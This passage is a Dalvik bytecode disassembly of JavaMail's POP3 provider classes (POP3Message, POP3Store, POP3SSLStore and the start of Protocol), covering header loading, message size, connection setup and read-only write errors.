0000002C iget v5, p0, POP3Message->hdrSize:I
00000030 add-int/2addr v1, v5
:32
00000032 invoke-virtual Protocol->retr(I, I)InputStream, v2, v4, v1
00000038 move-result-object v2
0000003A if-nez v2, :7E
:3E
0000003E const/4 v1, 0x1
00000040 iput-boolean v1, p0, POP3Message->expunged:Z
00000044 new-instance v1, MessageRemovedException
00000048 invoke-direct MessageRemovedException-><init>()V, v1
0000004E throw v1
:50
00000050 move-exception v1
00000052 monitor-exit p0
:54
00000054 throw v1
:56
00000056 move-exception v1
00000058 iget-object v2, p0, POP3Message->folder:POP3Folder
0000005C invoke-virtual POP3Folder->close(Z)V, v2, v3
00000062 new-instance v2, FolderClosedException
00000066 iget-object v3, p0, POP3Message->folder:POP3Folder
0000006A invoke-virtual EOFException->toString()String, v1
00000070 move-result-object v1
00000072 invoke-direct FolderClosedException-><init>(Folder, String)V, v2, v3, v1
00000078 throw v2
:7A
0000007A move v1, v3
0000007C goto :32
:7E
0000007E iget-object v1, p0, POP3Message->headers:InternetHeaders
00000082 if-eqz v1, :9E
:86
00000086 iget-object v1, p0, POP3Message->folder:POP3Folder
0000008A invoke-virtual POP3Folder->getStore()Store, v1
00000090 move-result-object v1
00000092 check-cast v1, POP3Store
00000096 iget-boolean v1, v1, POP3Store->forgetTopHeaders:Z
0000009A if-eqz v1, :E8
:9E
0000009E new-instance v1, InternetHeaders
000000A2 invoke-direct InternetHeaders-><init>(InputStream)V, v1, v2
000000A8 iput-object v1, p0, POP3Message->headers:InternetHeaders
000000AC move-object v0, v2
000000AE check-cast v0, SharedInputStream
000000B2 move-object v1, v0
000000B4 invoke-interface SharedInputStream->getPosition()J, v1
000000BA move-result-wide v4
000000BC long-to-int v1, v4
000000BE iput v1, p0, POP3Message->hdrSize:I
:C2
000000C2 check-cast v2, SharedInputStream
000000C6 iget v1, p0, POP3Message->hdrSize:I
000000CA int-to-long v4, v1
000000CC const-wide/16 v6, 0xFFFFFFFFFFFFFFFF
000000D0 invoke-interface SharedInputStream->newStream(J, J)InputStream, v2, v4, v5, v6, v7
000000D6 move-result-object v1
000000D8 iput-object v1, p0, POP3Message->contentStream:InputStream
:DC
000000DC monitor-exit p0
:DE
000000DE invoke-super MimeMessage->getContentStream()InputStream, p0
000000E4 move-result-object v1
000000E6 return-object v1
:E8
000000E8 move v1, v3
:EA
000000EA invoke-virtual InputStream->read()I, v2
000000F0 move-result v4
000000F2 if-gez v4, :11A
:F6
000000F6 invoke-virtual InputStream->available()I, v2
000000FC move-result v4
000000FE if-nez v4, :154
:102
00000102 move-object v0, v2
00000104 check-cast v0, SharedInputStream
00000108 move-object v1, v0
0000010A invoke-interface SharedInputStream->getPosition()J, v1
00000110 move-result-wide v4
00000112 long-to-int v1, v4
00000114 iput v1, p0, POP3Message->hdrSize:I
00000118 goto :C2
:11A
0000011A if-eq v4, v6, :F6
:11E
0000011E const/16 v5, 0xD
00000122 if-ne v4, v5, :14E
:126
00000126 invoke-virtual InputStream->available()I, v2
0000012C move-result v4
0000012E if-lez v4, :F6
:132
00000132 const/4 v4, 0x1
00000134 invoke-virtual InputStream->mark(I)V, v2, v4
0000013A invoke-virtual InputStream->read()I, v2
00000140 move-result v4
00000142 if-eq v4, v6, :F6
:146
00000146 invoke-virtual InputStream->reset()V, v2
:14C
0000014C goto :F6
:14E
0000014E add-int/lit8 v1, v1, 0x1
00000152 goto :EA
:154
00000154 if-nez v1, :E8
:158
00000158 goto :102
:15A
0000015A move-exception v1
0000015C new-instance v2, MessagingException
00000160 const-string v3, "error fetching POP3 content"
00000164 invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v1
0000016A throw v2
.catch EOFException {:6 .. :8} :56
.catch IOException {:6 .. :8} :15A
.catchall {:8 .. :54} :50
.catch EOFException {:54 .. :56} :56
.catch IOException {:54 .. :56} :15A
.catchall {:7E .. :DE} :50
.catchall {:EA .. :14C} :50
.end method
.method public getHeader(String, String)String
.registers 4
00000000 iget-object v0, p0, POP3Message->headers:InternetHeaders
00000004 if-nez v0, :E
:8
00000008 invoke-direct POP3Message->loadHeaders()V, p0
:E
0000000E iget-object v0, p0, POP3Message->headers:InternetHeaders
00000012 invoke-virtual InternetHeaders->getHeader(String, String)String, v0, p1, p2
00000018 move-result-object v0
0000001A return-object v0
.end method
.method public getHeader(String)[String
.registers 3
00000000 iget-object v0, p0, POP3Message->headers:InternetHeaders
00000004 if-nez v0, :E
:8
00000008 invoke-direct POP3Message->loadHeaders()V, p0
:E
0000000E iget-object v0, p0, POP3Message->headers:InternetHeaders
00000012 invoke-virtual InternetHeaders->getHeader(String)[String, v0, p1
00000018 move-result-object v0
0000001A return-object v0
.end method
.method public getMatchingHeaderLines([String)Enumeration
.registers 3
00000000 iget-object v0, p0, POP3Message->headers:InternetHeaders
00000004 if-nez v0, :E
:8
00000008 invoke-direct POP3Message->loadHeaders()V, p0
:E
0000000E iget-object v0, p0, POP3Message->headers:InternetHeaders
00000012 invoke-virtual InternetHeaders->getMatchingHeaderLines([String)Enumeration, v0, p1
00000018 move-result-object v0
0000001A return-object v0
.end method
.method public getMatchingHeaders([String)Enumeration
.registers 3
00000000 iget-object v0, p0, POP3Message->headers:InternetHeaders
00000004 if-nez v0, :E
:8
00000008 invoke-direct POP3Message->loadHeaders()V, p0
:E
0000000E iget-object v0, p0, POP3Message->headers:InternetHeaders
00000012 invoke-virtual InternetHeaders->getMatchingHeaders([String)Enumeration, v0, p1
00000018 move-result-object v0
0000001A return-object v0
.end method
.method public getNonMatchingHeaderLines([String)Enumeration
.registers 3
00000000 iget-object v0, p0, POP3Message->headers:InternetHeaders
00000004 if-nez v0, :E
:8
00000008 invoke-direct POP3Message->loadHeaders()V, p0
:E
0000000E iget-object v0, p0, POP3Message->headers:InternetHeaders
00000012 invoke-virtual InternetHeaders->getNonMatchingHeaderLines([String)Enumeration, v0, p1
00000018 move-result-object v0
0000001A return-object v0
.end method
.method public getNonMatchingHeaders([String)Enumeration
.registers 3
00000000 iget-object v0, p0, POP3Message->headers:InternetHeaders
00000004 if-nez v0, :E
:8
00000008 invoke-direct POP3Message->loadHeaders()V, p0
:E
0000000E iget-object v0, p0, POP3Message->headers:InternetHeaders
00000012 invoke-virtual InternetHeaders->getNonMatchingHeaders([String)Enumeration, v0, p1
00000018 move-result-object v0
0000001A return-object v0
.end method
.method public getSize()I
.registers 4
00000000 monitor-enter p0
:2
00000002 iget v0, p0, POP3Message->msgSize:I
00000006 if-ltz v0, :12
:A
0000000A iget v0, p0, POP3Message->msgSize:I
0000000E monitor-exit p0
:10
00000010 return v0
:12
00000012 iget v0, p0, POP3Message->msgSize:I
00000016 if-gez v0, :40
:1A
0000001A iget-object v0, p0, POP3Message->headers:InternetHeaders
0000001E if-nez v0, :28
:22
00000022 invoke-direct POP3Message->loadHeaders()V, p0
:28
00000028 iget-object v0, p0, POP3Message->contentStream:InputStream
0000002C if-eqz v0, :74
:30
00000030 iget-object v0, p0, POP3Message->contentStream:InputStream
00000034 invoke-virtual InputStream->available()I, v0
0000003A move-result v0
0000003C iput v0, p0, POP3Message->msgSize:I
:40
00000040 iget v0, p0, POP3Message->msgSize:I
00000044 monitor-exit p0
00000046 goto :10
:48
00000048 move-exception v0
0000004A monitor-exit p0
:4C
0000004C throw v0
:4E
0000004E move-exception v0
00000050 iget-object v1, p0, POP3Message->folder:POP3Folder
00000054 const/4 v2, 0x0
00000056 invoke-virtual POP3Folder->close(Z)V, v1, v2
0000005C new-instance v1, FolderClosedException
00000060 iget-object v2, p0, POP3Message->folder:POP3Folder
00000064 invoke-virtual EOFException->toString()String, v0
0000006A move-result-object v0
0000006C invoke-direct FolderClosedException-><init>(Folder, String)V, v1, v2, v0
00000072 throw v1
:74
00000074 iget-object v0, p0, POP3Message->folder:POP3Folder
00000078 invoke-virtual POP3Folder->getProtocol()Protocol, v0
0000007E move-result-object v0
00000080 iget v1, p0, POP3Message->msgnum:I
00000084 invoke-virtual Protocol->list(I)I, v0, v1
0000008A move-result v0
0000008C iget v1, p0, POP3Message->hdrSize:I
00000090 sub-int/2addr v0, v1
00000092 iput v0, p0, POP3Message->msgSize:I
:96
00000096 goto :40
:98
00000098 move-exception v0
0000009A new-instance v1, MessagingException
0000009E const-string v2, "error getting size"
000000A2 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
000000A8 throw v1
.catch EOFException {:0 .. :2} :4E
.catch IOException {:0 .. :2} :98
.catchall {:2 .. :4C} :48
.catch EOFException {:4C .. :4E} :4E
.catch IOException {:4C .. :4E} :98
.catchall {:74 .. :96} :48
.end method
.method public declared-synchronized invalidate(Z)V
.registers 3
00000000 monitor-enter p0
00000002 const/4 v0, 0x0
:4
00000004 iput-object v0, p0, POP3Message->content:[B
00000008 const/4 v0, 0x0
0000000A iput-object v0, p0, POP3Message->contentStream:InputStream
0000000E const/4 v0, 0xFFFFFFFFFFFFFFFF
00000010 iput v0, p0, POP3Message->msgSize:I
00000014 if-eqz p1, :24
:18
00000018 const/4 v0, 0x0
0000001A iput-object v0, p0, POP3Message->headers:InternetHeaders
0000001E const/4 v0, 0xFFFFFFFFFFFFFFFF
00000020 iput v0, p0, POP3Message->hdrSize:I
:24
00000024 monitor-exit p0
00000026 return-void
:28
00000028 move-exception v0
0000002A monitor-exit p0
0000002C throw v0
.catchall {:4 .. :24} :28
.end method
.method public removeHeader(String)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "POP3 messages are read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public saveChanges()V
.registers 3
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "POP3 messages are read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setFlags(Flags, Z)V
.registers 5
00000000 iget-object v0, p0, POP3Message->flags:Flags
00000004 invoke-virtual Flags->clone()Object, v0
0000000A move-result-object v0
0000000C check-cast v0, Flags
00000010 invoke-super MimeMessage->setFlags(Flags, Z)V, p0, p1, p2
00000016 iget-object v1, p0, POP3Message->flags:Flags
0000001A invoke-virtual Flags->equals(Object)Z, v1, v0
00000020 move-result v0
00000022 if-nez v0, :32
:26
00000026 iget-object v0, p0, POP3Message->folder:POP3Folder
0000002A const/4 v1, 0x1
0000002C invoke-virtual POP3Folder->notifyMessageChangedListeners(I, Message)V, v0, v1, p0
:32
00000032 return-void
.end method
.method public setHeader(String, String)V
.registers 5
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "POP3 messages are read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public top(I)InputStream
.registers 5
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, POP3Message->folder:POP3Folder
00000006 invoke-virtual POP3Folder->getProtocol()Protocol, v0
0000000C move-result-object v0
0000000E iget v1, p0, POP3Message->msgnum:I
00000012 invoke-virtual Protocol->top(I, I)InputStream, v0, v1, p1
00000018 move-result-object v0
0000001A monitor-exit p0
0000001C return-object v0
:1E
0000001E move-exception v0
00000020 monitor-exit p0
:22
00000022 throw v0
:24
00000024 move-exception v0
00000026 iget-object v1, p0, POP3Message->folder:POP3Folder
0000002A const/4 v2, 0x0
0000002C invoke-virtual POP3Folder->close(Z)V, v1, v2
00000032 new-instance v1, FolderClosedException
00000036 iget-object v2, p0, POP3Message->folder:POP3Folder
0000003A invoke-virtual EOFException->toString()String, v0
00000040 move-result-object v0
00000042 invoke-direct FolderClosedException-><init>(Folder, String)V, v1, v2, v0
00000048 throw v1
:4A
0000004A move-exception v0
0000004C new-instance v1, MessagingException
00000050 const-string v2, "error getting size"
00000054 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
0000005A throw v1
.catch EOFException {:0 .. :2} :24
.catch IOException {:0 .. :2} :4A
.catchall {:2 .. :22} :1E
.catch EOFException {:22 .. :24} :24
.catch IOException {:22 .. :24} :4A
.end method
#--------------------------------------------------------------------------------
.class public POP3Store
.super Store
.source ""
.field private defaultPort:I
.field disableTop:Z
.field forgetTopHeaders:Z
.field private host:String
.field private isSSL:Z
.field messageConstructor:Constructor
.field private name:String
.field private passwd:String
.field private port:Protocol
.field private portNum:I
.field private portOwner:POP3Folder
.field rsetBeforeQuit:Z
.field private user:String
.method public constructor <init>(Session, URLName)V
.registers 9
00000000 const-string v3, "pop3"
00000004 const/16 v4, 0x6E
00000008 const/4 v5, 0x0
0000000A move-object v0, p0
0000000C move-object v1, p1
0000000E move-object v2, p2
00000010 invoke-direct/range POP3Store-><init>(Session, URLName, String, I, Z)V, v0 .. v5
00000016 return-void
.end method
.method public constructor <init>(Session, URLName, String, I, Z)V
.registers 10
00000000 const/4 v3, 0x1
00000002 const/4 v2, 0x0
00000004 const/4 v1, 0x0
00000006 invoke-direct Store-><init>(Session, URLName)V, p0, p1, p2
0000000C const-string v0, "pop3"
00000010 iput-object v0, p0, POP3Store->name:String
00000014 const/16 v0, 0x6E
00000018 iput v0, p0, POP3Store->defaultPort:I
0000001C iput-boolean v2, p0, POP3Store->isSSL:Z
00000020 iput-object v1, p0, POP3Store->port:Protocol
00000024 iput-object v1, p0, POP3Store->portOwner:POP3Folder
00000028 iput-object v1, p0, POP3Store->host:String
0000002C const/4 v0, 0xFFFFFFFFFFFFFFFF
0000002E iput v0, p0, POP3Store->portNum:I
00000032 iput-object v1, p0, POP3Store->user:String
00000036 iput-object v1, p0, POP3Store->passwd:String
0000003A iput-boolean v2, p0, POP3Store->rsetBeforeQuit:Z
0000003E iput-boolean v2, p0, POP3Store->disableTop:Z
00000042 iput-boolean v2, p0, POP3Store->forgetTopHeaders:Z
00000046 iput-object v1, p0, POP3Store->messageConstructor:Constructor
0000004A if-eqz p2, :56
:4E
0000004E invoke-virtual URLName->getProtocol()String, p2
00000054 move-result-object p3
:56
00000056 iput-object p3, p0, POP3Store->name:String
0000005A iput p4, p0, POP3Store->defaultPort:I
0000005E iput-boolean p5, p0, POP3Store->isSSL:Z
00000062 new-instance v0, StringBuilder
00000066 const-string v1, "mail."
0000006A invoke-direct StringBuilder-><init>(String)V, v0, v1
00000070 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
00000076 move-result-object v0
00000078 const-string v1, ".rsetbeforequit"
0000007C invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000082 move-result-object v0
00000084 invoke-virtual StringBuilder->toString()String, v0
0000008A move-result-object v0
0000008C invoke-virtual Session->getProperty(String)String, p1, v0
00000092 move-result-object v0
00000094 if-eqz v0, :AC
:98
00000098 const-string v1, "true"
0000009C invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
000000A2 move-result v0
000000A4 if-eqz v0, :AC
:A8
000000A8 iput-boolean v3, p0, POP3Store->rsetBeforeQuit:Z
:AC
000000AC new-instance v0, StringBuilder
000000B0 const-string v1, "mail."
000000B4 invoke-direct StringBuilder-><init>(String)V, v0, v1
000000BA invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
000000C0 move-result-object v0
000000C2 const-string v1, ".disabletop"
000000C6 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000000CC move-result-object v0
000000CE invoke-virtual StringBuilder->toString()String, v0
000000D4 move-result-object v0
000000D6 invoke-virtual Session->getProperty(String)String, p1, v0
000000DC move-result-object v0
000000DE if-eqz v0, :F6
:E2
000000E2 const-string v1, "true"
000000E6 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
000000EC move-result v0
000000EE if-eqz v0, :F6
:F2
000000F2 iput-boolean v3, p0, POP3Store->disableTop:Z
:F6
000000F6 new-instance v0, StringBuilder
000000FA const-string v1, "mail."
000000FE invoke-direct StringBuilder-><init>(String)V, v0, v1
00000104 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
0000010A move-result-object v0
0000010C const-string v1, ".forgettopheaders"
00000110 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000116 move-result-object v0
00000118 invoke-virtual StringBuilder->toString()String, v0
0000011E move-result-object v0
00000120 invoke-virtual Session->getProperty(String)String, p1, v0
00000126 move-result-object v0
00000128 if-eqz v0, :140
:12C
0000012C const-string v1, "true"
00000130 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
00000136 move-result v0
00000138 if-eqz v0, :140
:13C
0000013C iput-boolean v3, p0, POP3Store->forgetTopHeaders:Z
:140
00000140 new-instance v0, StringBuilder
00000144 const-string v1, "mail."
00000148 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000014E invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
00000154 move-result-object v0
00000156 const-string v1, ".message.class"
0000015A invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000160 move-result-object v0
00000162 invoke-virtual StringBuilder->toString()String, v0
00000168 move-result-object v0
0000016A invoke-virtual Session->getProperty(String)String, p1, v0
00000170 move-result-object v0
00000172 if-eqz v0, :1EC
:176
00000176 invoke-virtual Session->getDebug()Z, p1
0000017C move-result v1
0000017E if-eqz v1, :1AE
:182
00000182 invoke-virtual Session->getDebugOut()PrintStream, p1
00000188 move-result-object v1
0000018A new-instance v2, StringBuilder
0000018E const-string v3, "DEBUG: POP3 message class: "
00000192 invoke-direct StringBuilder-><init>(String)V, v2, v3
00000198 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
0000019E move-result-object v2
000001A0 invoke-virtual StringBuilder->toString()String, v2
000001A6 move-result-object v2
000001A8 invoke-virtual PrintStream->println(String)V, v1, v2
:1AE
000001AE invoke-virtual Object->getClass()Class, p0
000001B4 move-result-object v1
000001B6 invoke-virtual Class->getClassLoader()ClassLoader, v1
:1BC
000001BC move-result-object v1
:1BE
000001BE invoke-virtual ClassLoader->loadClass(String)Class, v1, v0
:1C4
000001C4 move-result-object v0
:1C6
000001C6 const/4 v1, 0x2
:1C8
000001C8 new-array v1, v1, [Class
000001CC const/4 v2, 0x0
000001CE const-class v3, Folder
000001D2 aput-object v3, v1, v2
000001D6 const/4 v2, 0x1
000001D8 sget-object v3, Integer->TYPE:Class
000001DC aput-object v3, v1, v2
000001E0 invoke-virtual Class->getConstructor([Class)Constructor, v0, v1
000001E6 move-result-object v0
000001E8 iput-object v0, p0, POP3Store->messageConstructor:Constructor
:1EC
000001EC return-void
:1EE
000001EE move-exception v1
000001F0 invoke-static Class->forName(String)Class, v0
:1F6
000001F6 move-result-object v0
000001F8 goto :1C6
:1FA
000001FA move-exception v0
000001FC invoke-virtual Session->getDebug()Z, p1
00000202 move-result v1
00000204 if-eqz v1, :1EC
:208
00000208 invoke-virtual Session->getDebugOut()PrintStream, p1
0000020E move-result-object v1
00000210 new-instance v2, StringBuilder
00000214 const-string v3, "DEBUG: failed to load POP3 message class: "
00000218 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000021E invoke-virtual StringBuilder->append(Object)StringBuilder, v2, v0
00000224 move-result-object v0
00000226 invoke-virtual StringBuilder->toString()String, v0
0000022C move-result-object v0
0000022E invoke-virtual PrintStream->println(String)V, v1, v0
00000234 goto :1EC
.catch Exception {:1AE .. :1BC} :1FA
.catch ClassNotFoundException {:1BE .. :1C4} :1EE
.catch Exception {:1BE .. :1C4} :1FA
.catch Exception {:1C8 .. :1F6} :1FA
.end method
.method private checkConnected()V
.registers 3
00000000 invoke-super Store->isConnected()Z, p0
00000006 move-result v0
00000008 if-nez v0, :1C
:C
0000000C new-instance v0, MessagingException
00000010 const-string v1, "Not connected"
00000014 invoke-direct MessagingException-><init>(String)V, v0, v1
0000001A throw v0
:1C
0000001C return-void
.end method
.method public declared-synchronized close()V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, POP3Store->port:Protocol
00000006 if-eqz v0, :14
:A
0000000A iget-object v0, p0, POP3Store->port:Protocol
0000000E invoke-virtual Protocol->quit()Z, v0
:14
00000014 const/4 v0, 0x0
:16
00000016 iput-object v0, p0, POP3Store->port:Protocol
0000001A invoke-super Store->close()V, p0
:20
00000020 monitor-exit p0
00000022 return-void
:24
00000024 move-exception v0
00000026 const/4 v0, 0x0
:28
00000028 iput-object v0, p0, POP3Store->port:Protocol
0000002C invoke-super Store->close()V, p0
:32
00000032 goto :20
:34
00000034 move-exception v0
00000036 monitor-exit p0
00000038 throw v0
:3A
0000003A move-exception v0
0000003C const/4 v1, 0x0
:3E
0000003E iput-object v1, p0, POP3Store->port:Protocol
00000042 invoke-super Store->close()V, p0
00000048 throw v0
.catch IOException {:2 .. :14} :24
.catchall {:2 .. :14} :3A
.catchall {:16 .. :20} :34
.catchall {:28 .. :32} :34
.catchall {:3E .. :4A} :34
.end method
.method declared-synchronized closePort(POP3Folder)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, POP3Store->portOwner:POP3Folder
00000006 if-ne v0, p1, :16
:A
0000000A const/4 v0, 0x0
0000000C iput-object v0, p0, POP3Store->port:Protocol
00000010 const/4 v0, 0x0
00000012 iput-object v0, p0, POP3Store->portOwner:POP3Folder
:16
00000016 monitor-exit p0
00000018 return-void
:1A
0000001A move-exception v0
0000001C monitor-exit p0
0000001E throw v0
.catchall {:2 .. :16} :1A
.end method
.method protected finalize()V
.registers 2
00000000 invoke-super Store->finalize()V, p0
00000006 iget-object v0, p0, POP3Store->port:Protocol
0000000A if-eqz v0, :14
:E
0000000E invoke-virtual POP3Store->close()V, p0
:14
00000014 return-void
.end method
.method public getDefaultFolder()Folder
.registers 2
00000000 invoke-direct POP3Store->checkConnected()V, p0
00000006 new-instance v0, DefaultFolder
0000000A invoke-direct DefaultFolder-><init>(POP3Store)V, v0, p0
00000010 return-object v0
.end method
.method public getFolder(String)Folder
.registers 3
00000000 invoke-direct POP3Store->checkConnected()V, p0
00000006 new-instance v0, POP3Folder
0000000A invoke-direct POP3Folder-><init>(POP3Store, String)V, v0, p0, p1
00000010 return-object v0
.end method
.method public getFolder(URLName)Folder
.registers 4
00000000 invoke-direct POP3Store->checkConnected()V, p0
00000006 new-instance v0, POP3Folder
0000000A invoke-virtual URLName->getFile()String, p1
00000010 move-result-object v1
00000012 invoke-direct POP3Folder-><init>(POP3Store, String)V, v0, p0, v1
00000018 return-object v0
.end method
.method declared-synchronized getPort(POP3Folder)Protocol
.registers 10
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, POP3Store->port:Protocol
00000006 if-eqz v0, :1E
:A
0000000A iget-object v0, p0, POP3Store->portOwner:POP3Folder
0000000E if-nez v0, :1E
:12
00000012 iput-object p1, p0, POP3Store->portOwner:POP3Folder
00000016 iget-object v0, p0, POP3Store->port:Protocol
:1A
0000001A monitor-exit p0
0000001C return-object v0
:1E
0000001E new-instance v0, Protocol
00000022 iget-object v1, p0, POP3Store->host:String
00000026 iget v2, p0, POP3Store->portNum:I
0000002A iget-object v3, p0, POP3Store->session:Session
0000002E invoke-virtual Session->getDebug()Z, v3
00000034 move-result v3
00000036 iget-object v4, p0, POP3Store->session:Session
0000003A invoke-virtual Session->getDebugOut()PrintStream, v4
00000040 move-result-object v4
00000042 iget-object v5, p0, POP3Store->session:Session
00000046 invoke-virtual Session->getProperties()Properties, v5
0000004C move-result-object v5
0000004E new-instance v6, StringBuilder
00000052 const-string v7, "mail."
00000056 invoke-direct StringBuilder-><init>(String)V, v6, v7
0000005C iget-object v7, p0, POP3Store->name:String
00000060 invoke-virtual StringBuilder->append(String)StringBuilder, v6, v7
00000066 move-result-object v6
00000068 invoke-virtual StringBuilder->toString()String, v6
0000006E move-result-object v6
00000070 iget-boolean v7, p0, POP3Store->isSSL:Z
00000074 invoke-direct/range Protocol-><init>(String, I, Z, PrintStream, Properties, String, Z)V, v0 .. v7
0000007A iget-object v1, p0, POP3Store->user:String
0000007E iget-object v2, p0, POP3Store->passwd:String
00000082 invoke-virtual Protocol->login(String, String)String, v0, v1, v2
:88
00000088 move-result-object v1
0000008A if-eqz v1, :A6
:8E
0000008E invoke-virtual Protocol->quit()Z, v0
:94
00000094 new-instance v0, EOFException
00000098 invoke-direct EOFException-><init>(String)V, v0, v1
0000009E throw v0
:A0
000000A0 move-exception v0
000000A2 monitor-exit p0
000000A4 throw v0
:A6
000000A6 iget-object v1, p0, POP3Store->port:Protocol
000000AA if-nez v1, :BA
:AE
000000AE if-eqz p1, :BA
:B2
000000B2 iput-object v0, p0, POP3Store->port:Protocol
000000B6 iput-object p1, p0, POP3Store->portOwner:POP3Folder
:BA
000000BA iget-object v1, p0, POP3Store->portOwner:POP3Folder
000000BE if-nez v1, :1A
:C2
000000C2 iput-object p1, p0, POP3Store->portOwner:POP3Folder
:C6
000000C6 goto :1A
:C8
000000C8 move-exception v0
000000CA goto :94
:CC
000000CC move-exception v0
000000CE goto :94
.catchall {:2 .. :1A} :A0
.catchall {:1E .. :88} :A0
.catch IOException {:8E .. :94} :C8
.catchall {:8E .. :94} :CC
.catchall {:94 .. :A0} :A0
.catchall {:A6 .. :C6} :A0
.end method
.method public declared-synchronized isConnected()Z
.registers 3
00000000 const/4 v0, 0x0
00000002 monitor-enter p0
:4
00000004 invoke-super Store->isConnected()Z, p0
:A
0000000A move-result v1
0000000C if-nez v1, :14
:10
00000010 monitor-exit p0
00000012 return v0
:14
00000014 monitor-enter p0
:16
00000016 iget-object v1, p0, POP3Store->port:Protocol
0000001A if-nez v1, :32
:1E
0000001E const/4 v1, 0x0
00000020 invoke-virtual POP3Store->getPort(POP3Folder)Protocol, p0, v1
00000026 move-result-object v1
00000028 iput-object v1, p0, POP3Store->port:Protocol
:2C
0000002C monitor-exit p0
:2E
0000002E const/4 v0, 0x1
00000030 goto :10
:32
00000032 iget-object v1, p0, POP3Store->port:Protocol
00000036 invoke-virtual Protocol->noop()Z, v1
:3C
0000003C goto :2C
:3E
0000003E move-exception v1
:40
00000040 invoke-super Store->close()V, p0
:46
00000046 monitor-exit p0
00000048 goto :10
:4A
0000004A move-exception v0
0000004C monitor-exit p0
:4E
0000004E throw v0
:50
00000050 move-exception v0
00000052 monitor-exit p0
00000054 throw v0
:56
00000056 move-exception v1
00000058 goto :46
:5A
0000005A move-exception v1
0000005C goto :46
.catchall {:4 .. :A} :50
.catchall {:14 .. :16} :50
.catch IOException {:16 .. :2C} :3E
.catchall {:16 .. :2C} :4A
.catchall {:2C .. :2E} :4A
.catch IOException {:32 .. :3C} :3E
.catchall {:32 .. :3C} :4A
.catch MessagingException {:40 .. :46} :56
.catchall {:40 .. :46} :5A
.catchall {:46 .. :4E} :4A
.catchall {:4E .. :50} :50
.end method
.method protected declared-synchronized protocolConnect(String, I, String, String)Z
.registers 9
00000000 const/4 v3, 0xFFFFFFFFFFFFFFFF
00000002 monitor-enter p0
00000004 if-eqz p1, :10
:8
00000008 if-eqz p4, :10
:C
0000000C if-nez p3, :16
:10
00000010 const/4 v0, 0x0
:12
00000012 monitor-exit p0
00000014 return v0
:16
00000016 if-ne p2, v3, :BA
:1A
0000001A iget-object v0, p0, POP3Store->session:Session
0000001E new-instance v1, StringBuilder
00000022 const-string v2, "mail."
00000026 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000002C iget-object v2, p0, POP3Store->name:String
00000030 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000036 move-result-object v1
00000038 const-string v2, ".port"
0000003C invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000042 move-result-object v1
00000044 invoke-virtual StringBuilder->toString()String, v1
0000004A move-result-object v1
0000004C invoke-virtual Session->getProperty(String)String, v0, v1
00000052 move-result-object v0
00000054 if-eqz v0, :BA
:58
00000058 invoke-static Integer->parseInt(String)I, v0
0000005E move-result p2
00000060 move v0, p2
:62
00000062 if-ne v0, v3, :6A
:66
00000066 iget v0, p0, POP3Store->defaultPort:I
:6A
0000006A iput-object p1, p0, POP3Store->host:String
0000006E iput v0, p0, POP3Store->portNum:I
00000072 iput-object p3, p0, POP3Store->user:String
00000076 iput-object p4, p0, POP3Store->passwd:String
:7A
0000007A const/4 v0, 0x0
:7C
0000007C invoke-virtual POP3Store->getPort(POP3Folder)Protocol, p0, v0
00000082 move-result-object v0
00000084 iput-object v0, p0, POP3Store->port:Protocol
:88
00000088 const/4 v0, 0x1
0000008A goto :12
:8C
0000008C move-exception v0
:8E
0000008E new-instance v1, AuthenticationFailedException
00000092 invoke-virtual EOFException->getMessage()String, v0
00000098 move-result-object v0
0000009A invoke-direct AuthenticationFailedException-><init>(String)V, v1, v0
000000A0 throw v1
:A2
000000A2 move-exception v0
000000A4 monitor-exit p0
000000A6 throw v0
:A8
000000A8 move-exception v0
:AA
000000AA new-instance v1, MessagingException
000000AE const-string v2, "Connect failed"
000000B2 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
000000B8 throw v1
:BA
000000BA move v0, p2
000000BC goto :62
.catchall {:1A .. :7A} :A2
.catch EOFException {:7C .. :88} :8C
.catch IOException {:7C .. :88} :A8
.catchall {:7C .. :88} :A2
.catchall {:8E .. :A2} :A2
.catchall {:AA .. :BA} :A2
.end method
#--------------------------------------------------------------------------------
.class public POP3SSLStore
.super POP3Store
.source ""
.method public constructor <init>(Session, URLName)V
.registers 9
00000000 const-string v3, "pop3s"
00000004 const/16 v4, 0x3E3
00000008 const/4 v5, 0x1
0000000A move-object v0, p0
0000000C move-object v1, p1
0000000E move-object v2, p2
00000010 invoke-direct/range POP3Store-><init>(Session, URLName, String, I, Z)V, v0 .. v5
00000016 return-void
.end method
#--------------------------------------------------------------------------------
.class Protocol
.super Object
.source ""
.field private static final CRLF:String = "\r\n"
.field private static final POP3_PORT:I = 0x6E
.field private static digits:[C
.field private apopChallenge:String
.field private debug:Z
.field private input:DataInputStream
.field private out:PrintStream
.field private output:PrintWriter
.field private socket:Socket
.method static constructor <clinit>()V
.registers 1
00000000 const/16 v0, 0x10
